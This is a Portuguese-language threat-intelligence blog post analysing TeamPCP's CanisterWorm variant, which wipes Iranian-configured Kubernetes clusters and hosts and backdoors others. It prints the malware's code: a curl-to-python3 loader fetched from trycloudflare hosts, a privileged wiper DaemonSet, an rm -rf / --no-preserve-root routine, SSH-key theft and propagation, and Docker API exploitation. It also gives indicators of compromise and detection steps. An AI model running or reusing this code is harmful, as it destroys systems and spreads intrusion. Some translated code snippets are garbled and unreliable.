Aikido

O CanisterWorm ganha poder: o programa de limpeza do Kubernetes da TeamPCP tem como alvo o Irão

Escrito por
Charlie Eriksen

Descobrimos uma nova carga útil no arsenal do TeamPCP, e esta não se limita a roubar credenciais ou a instalar backdoors. Ela apaga clusters inteiros do Kubernetes.

O script utiliza exatamente o mesmo cartucho ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que documentámos no Campanha CanisterWorm. O mesmo C2, o mesmo código de backdoor, o mesmo /tmp/pglog caminho de destino. O movimento lateral nativo do Kubernetes através de DaemonSets é consistente com o manual de operações conhecido da TeamPCP, mas esta variante acrescenta algo que ainda não tínhamos visto da parte deles: uma carga destrutiva com alvos geopolíticos, dirigida especificamente a sistemas iranianos.

Informações gerais

Uma vez que a publicação no blogue contém muitos detalhes técnicos, eis um resumo das observações mais importantes que fizemos:

  • 🐙 O mesmo recipiente ICP C2 que o CanisterWorm (tdtqy-oyaaa-aaaae-af2dq-cai)
  • 🎯 A carga útil verifica o fuso horário e as configurações regionais para identificar sistemas iranianos
  • ☸️ No Kubernetes: implementa DaemonSets com privilégios em todos os nós, incluindo o plano de controlo
    • 💀 Os nós iranianos são apagados e reiniciados à força através de um container kamikaze
    • 🔒 Nos nós não iranianos, o backdoor CanisterWorm é instalado como um serviço do systemd
  • 💣 Os servidores iranianos que não utilizam o K8s recebem rm -rf / --no-preserve-root
  • 🐘 Persistência disfarçada de ferramentas do PostgreSQL: pglog, pg_state, monitor interno
  • 🔄 Observou-se a rotação de vários domínios Cloudflare como infraestrutura de entrega de carga
  • 🪱 A variante mais recente permite o movimento lateral através da rede
    • 🔑 Propagação do SSH através de chaves roubadas e análise de registos de autenticação
    • 🐳 Explora as APIs do Docker expostas na porta 2375 em toda a sub-rede local

O decorador

No início, observámos que simplesmente apontava para https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , que continha uma única carga útil. Posteriormente, dividiu a carga útil em dois ficheiros, como se pode ver abaixo.

#!/usr/bin/env bash
set -euo pipefail

if ! command -v kubectl &>/dev/null; then
    ARCH="amd64"
    [[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
    curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
    chmod +x /tmp/kubectl
    export PATH="/tmp:$PATH"
fi

PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -

rm -- "$0"

O que se pode ver é que o ficheiro está a ser descarregado kubectl se ainda não estiver instalado. Em seguida, faz o download kube.py do mesmo servidor e executa esse comando, antes de se eliminar. O código realmente interessante está contido nesse comando. Aqui estão as últimas linhas do script, que descrevem claramente a intenção do código, que iremos analisar mais detalhadamente:

if __name__ == "__main__":    if is_k8s():        if is_iran():
           deploy_destructive_ds()        else:
           deploy_std_ds()    else:        if is_iran():
           poison_pill()
        sys.exit(1)

Como escolhe o seu alvo

A primeira coisa que a carga útil faz é determinar onde está a ser executada. Duas verificações:

def is_k8s():
    return os.path.exists("secrets.io/serviceaccount") ou \
           "KUBERNETES_SERVICE_HOST" em os.environ

Detecção padrão de pods do Kubernetes. Cada pod tem uma conta de serviço associada por predefinição.

E depois isto:

def is_iran():
   tz = ""
     if os.path.exists("/etc/timezone"):        with open("/etc/timezone", "r") as f:
           tz = f.read().strip()    else:
        try:
           tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"], 
                                        stderr=subprocess.DEVNULL).decode().strip()
        except:
           pass 
    
    lang = os.environ.get("LANG", "")    return tz in ["Asia/Tehran", "Iran"] or "fa_IR" in lang

Verifica o fuso horário e as configurações regionais do sistema. Se o computador estiver configurado para o Irão (Ásia/Teerão, Irão, ou fa_IR), a carga útil segue um percurso muito diferente.

Quatro caminhos, um roteiro

A árvore de decisão é simples e implacável:

  • Kubernetes + Irão: Implementar um DaemonSet que limpa todos os nós do cluster
  • Kubernetes e outras plataformas: Implemente um DaemonSet que instale o backdoor CanisterWorm em todos os nós
  • Sem Kubernetes + Irão: rm -rf / --no-preserve-root
  • Sem Kubernetes + noutro local: Sair. Não acontece nada.

O limpa-vidros: «kamikaze»

O DaemonSet destinado ao Irão chama-se provisor de hosts - Irão. O container seu container chama-se kamikaze. Subtil, isto não é.

def deploy_destructive_ds():
    ds_name = "host-provisioner-iran"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: kamikaze
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
            chroot /mnt/host reboot -f
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

O DaemonSet monta o sistema de ficheiros raiz do anfitrião em /mnt/host, elimina tudo no nível superior e, em seguida, reinicia o sistema à força. Como se trata de um DaemonSet com tolerâncias: [operador: Existe], é agendado em todos os nós do cluster, incluindo o plano de controlo. Um kubectl apply e todo o cluster fica inutilizado.

O caminho de persistência

No caso de alvos não iranianos, o DaemonSet (provisor-de-host-padrão) é menos impactante, mas mais útil do ponto de vista operacional. Escreve o backdoor CanisterWorm em todos os nós e regista-o como um serviço do systemd:

def deploy_std_ds():
    ds_name = "host-provisioner-std"
    if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
        return

    yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: {ds_name}
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: {ds_name}
  template:
    metadata:
      labels:
        name: {ds_name}
    spec:
      hostNetwork: true
      hostPID: true
      tolerations:
      - operator: Exists
      containers:
      - name: provisioner
        image: alpine:latest
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
          - |
            mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
            echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
            cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
            [Unit]
            Description=System Monitor
            After=network.target

            [Service]
            ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
            Restart=always
            RestartSec=5

            [Install]
            WantedBy=multi-user.target
            EOF_UNIT
            chroot /mnt/host systemctl daemon-reload
            chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
            sleep infinity
        volumeMounts:
        - name: host-root
          mountPath: /mnt/host
      volumes:
      - name: host-root
        hostPath:
          path: /
"""
    subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())

A porta traseira é a mesma que documentámos na publicação sobre o CanisterWorm. Ela consulta o canister ICP a cada 50 minutos à procura de um URL binário, descarrega e executa o que lhe for indicado. A youtube[.]com O interruptor de emergência continua presente.

A «cláusula de autodefesa»

No caso dos sistemas iranianos que não utilizam o Kubernetes, a abordagem é mais rudimentar:

def poison_pill():
    cmd = "rm -rf / --no-preserve-root"
    if os.getuid() == 0:
        os.system(cmd)
    else:
        os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")

Se for o utilizador root, apaga o sistema. Caso contrário, tenta executar o sudo sem palavra-passe e, se não conseguir, tenta na mesma. Mesmo sem ser o utilizador root, destrói tudo o que o utilizador possui.

Por que isso importa

O TeamPCP tem sido identificado como um agente de ameaças nativo da nuvem desde o final de 2025, tendo como alvo APIs do Docker mal configuradas, clusters do Kubernetes e pipelines de CI/CD. O seu modus operandi (identificação de ambientes, ramificação específica do Kubernetes) tem-se mantido consistente. Mas o Trivy e a campanha CanisterWorm demonstraram que eles são capazes de operar à escala da cadeia de abastecimento, e esta carga útil mostra que estão preparados para causar danos quando assim o desejarem.

O que procurar

Verifique se existem DaemonSets em kube-system que não foste tu que criaste:

kubectl get ds -n kube-system

Procure provisor de hosts - Irão ou provisor-de-host-padrão. Verifique também qualquer DaemonSet que monte hostPath: / com um contexto de segurança privilegiado. Essa combinação nunca deve aparecer fora de agentes ao nível da infraestrutura, como o próprio kubelet.

No lado do anfitrião, verifique se:

  • Um serviço do systemd chamado monitor interno (systemctl status internal-monitor)
  • Arquivos em /var/lib/svc_internal/runner.py
  • Processos com o nome pglog em /tmp/
  • Ligações de saída para icp0[.]io domínios

Atualização: Está a alastrar-se agora

Acabou de aparecer uma terceira versão da carga útil, alojada em https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py A mesma porta traseira do contêiner ICP, o mesmo wiper iraniano, mas este não precisa do Kubernetes. Ele propaga-se sozinho.

As versões anteriores dependiam de DaemonSets para se deslocarem pelo cluster. Esta variante abandona completamente essa abordagem e substitui-a por dois métodos de deslocamento lateral: roubo de chaves SSH e exploração de APIs Docker expostas. Além disso, analisa a sub-rede local /24 em busca de novos alvos.

Eis como encontra os alvos a atacar:

def get_accepted_targets():
    targets = {}
    for path in ["/var/log/auth.log", "/var/log/secure"]:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    for line in f:
                        if "Accepted" in line:
                            match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
                            if match:
                                user, ip = match.groups()
                                if ip not in targets: targets[ip] = []
                                if user not in targets[ip]: targets[ip].append(user)
            except: pass
    return targets

Ele analisa /var/log/auth.log e /var/log/secure para os inícios de sessão SSH bem-sucedidos, extraindo tanto o nome de utilizador como o IP de origem. Estes tornam-se pares-alvo para a propagação. Para qualquer IP que encontre na sub-rede que não constasse nos registos de autenticação, recorre a tentar root, ubuntu, administrador, e ec2-user.

Em seguida, recolhe todas as chaves privadas SSH que consegue encontrar:

keys = []
ssh_base = os.path.expanduser("~/.ssh")    for t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
       p = os.path.join(ssh_base, t)
                if os.path.exists(p):
            keys.append(p)

Para cada alvo, verifica duas portas. A porta 22 é alvo do ataque SSH:

cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
       "-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
       f"echo {b64_logic} | base64 -d | bash"]

A porta 2375 é alvo de uma vulnerabilidade na API do Docker, criando um container com privilégios container a diretoria raiz do anfitrião montada:

payload = {
    "Image": "alpine:latest",
    "Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
    "HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})

Ambos os caminhos levam ao mesmo resultado get_remote_logic() código de carga útil, que executa a verificação do fuso horário do Irão no anfitrião remoto. Os alvos iranianos são eliminados, todos os outros recebem o pgmon.py backdoor instalado como um serviço do systemd.

O próprio limpa-vidros mudou. As versões anteriores utilizavam rm -rf / --no-preserve-root em hosts que não são K8s, enquanto a variante do DaemonSet utilizada find / -maxdepth 1 ... -exec rm -rf {} + com um reinício forçado. Esta versão padroniza o encontrar abordar com reiniciar -f em todos os setores:

find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -f

Isto é tirado diretamente de um post anterior do TeamPCP proxy.sh e pcpcat.py ferramentas, nas quais procuravam APIs do Docker expostas e espalhavam chaves SSH por várias sub-redes. A diferença é que essas ferramentas eram scripts autónomos para a criação de infraestruturas. Esta, por sua vez, inclui o backdoor CanisterWorm e o wiper Iran.

Algumas outras alterações em relação às versões anteriores: o nome do serviço passou de monitor interno para pgmonitor, o caminho de instalação mudou de /var/lib/svc_internal/ para /var/lib/pgmon/, e a descrição do systemd é agora «Serviço de Monitorização do Postgres». A camuflagem do PostgreSQL está a tornar-se mais consistente.

Indicadores de Comprometimento

Rede

  • tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io (Recipiente ICP C2 para entrega secreta)
  • https://souls-entire-defined-routes.trycloudflare[.]com/ (entrega da carga útil, primeiro)
  • https://investigation-launches-hearings-copying.trycloudflare[.]com/ (entrega da carga útil, segundo)
  • https://championships-peoples-point-cassette.trycloudflare[.]com (entrega da carga útil, terceiro)

Kubernetes

  • DaemonSet provisor de hosts - Irão em kube-system
  • DaemonSet provisor-de-host-padrão em kube-system
  • Container : kamikaze, provisionador

Host

  • /var/lib/svc_internal/runner.py
  • /etc/systemd/system/internal-monitor.service
  • /tmp/pglog
  • /tmp/.pg_state
  • /var/lib/pgmon/pgmon.py
  • /etc/systemd/system/pgmonitor.service
  • Serviço Systemd: pgmonitor (Descrição: «Serviço de Monitorização do Postgres»)
  • Serviço Systemd: monitor interno

Indicadores de movimento lateral

  • Conexões SSH de saída com StrictHostKeyChecking=no a partir de hosts comprometidos
  • Ligações de saída para a porta 2375 (API do Docker) na sub-rede local
  • Contentores Alpine com privilégios criados através da API do Docker sem autenticação com hostPath: / montagem por encaixe

... A notícia continua a evoluir. Fique atento às novidades.

Compartilhar:

https://www.aikido.dev/blog/teampcp-stage-payload-canisterworm-iran

Assine para receber notícias sobre ameaças.

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.